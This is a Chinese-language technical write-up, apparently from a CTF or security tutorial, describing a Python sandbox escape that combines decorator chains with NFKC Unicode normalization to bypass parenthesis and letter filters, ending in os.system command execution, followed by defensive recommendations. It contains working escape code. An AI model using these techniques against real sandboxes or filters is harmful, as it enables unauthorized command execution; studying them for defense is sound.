一种借助装饰器和Unicode规范化进行沙箱逃逸的方法
字数 1175 2025-09-01 11:26:17
Python沙箱逃逸技术:利用装饰器和Unicode规范化绕过限制
1. 沙箱环境分析
1.1 沙箱限制条件
- 过滤了括号
(,阻止函数调用 - 过滤了特定字母:
h,u,i,",\,' - 置空了
__builtins__
1.2 主要挑战
- 无法通过常规方式调用函数(缺少括号)
- 无法直接使用包含被过滤字母的关键字(如
__builtins__)
2. 核心技术原理
2.1 装饰器特性利用
Python装饰器是一种在函数/类定义时立即执行的语法结构,无需显式调用(不需要括号)。
装饰器示例:
def p(f):
print("执行装饰器")
return f
@p
def hi():
pass
# 输出"执行装饰器",无需调用hi()
2.2 Unicode规范化(NFKC)
Python 3解释器会对变量名进行NFKC规范化处理:
- 组合字符统一:
é(U+00E9) 和e´(U+0065 + U+0301) 被视为相同 - 兼容字符转换:
- 全角字母
A(U+FF21) →A(U+0041) - 带圈数字
①(U+2460) →1(U+0031) - 罗马数字
Ⅳ(U+2163) →IV
- 全角字母
3. 完整攻击流程
3.1 获取基础组件
b = [].__class__.__base__ # 获取object基类
d = [].__doc__ # 获取list类的文档字符串作为字符库
n = ... # 构造下划线和"__build_class__"字符串
3.2 劫持类创建机制
__b𝑢𝕚𝕚𝕚lt𝕚𝕚𝕚ns__[n] = lambda *_: b
- 覆盖
__build_class__函数 - 使所有类定义都返回
object基类
3.3 装饰器调用链
第一环:获取所有子类
@b.__class__.__s𝑢bclasses__
class s: _
- 等价于
s = type.__subclasses__(object) - 获取当前环境中所有加载的类
第二环:加载os模块
@s[84].load_mod𝑢le
@lambda _: d[32] + d[17]
class o: _
- 内层装饰器构造"os"字符串
- 外层装饰器使用
_frozen_importlib.BuiltinImporter加载模块 - 等价于
o = s[84].load_module('os')
第三环:执行系统命令
@o.system
@lambda _: d[2] + d[139]
class _: _
- 内层装饰器构造命令字符串(如"id")
- 外层装饰器调用
os.system - 等价于
_ = os.system('id')
4. 关键技术点
4.1 装饰器链工作原理
- 最内层装饰器先执行,生成参数
- 外层装饰器使用内层结果作为参数
- 通过多层嵌套实现函数调用链
4.2 Unicode绕过技巧
- 使用视觉等效字符绕过字母过滤:
s𝑢bclasses→subclasses(通过NFKC规范化)b𝑢𝕚𝕚𝕚lt𝕚𝕚𝕚ns→builtins
4.3 字符串构造方法
- 从现有对象(如
[].__doc__)中切片提取所需字符 - 拼接出被过滤的关键字(如"os"、"system")
5. 防御建议
-
加强字符过滤:
- 检查Unicode变体字符
- 规范化后再次检查
-
限制装饰器使用:
- 监控或限制装饰器语法
-
加固沙箱环境:
- 限制对关键内置属性(如
__build_class__)的修改 - 使用更严格的模块导入控制
- 限制对关键内置属性(如
-
实施深度防御:
- 结合多种过滤和监控机制
- 限制系统命令执行能力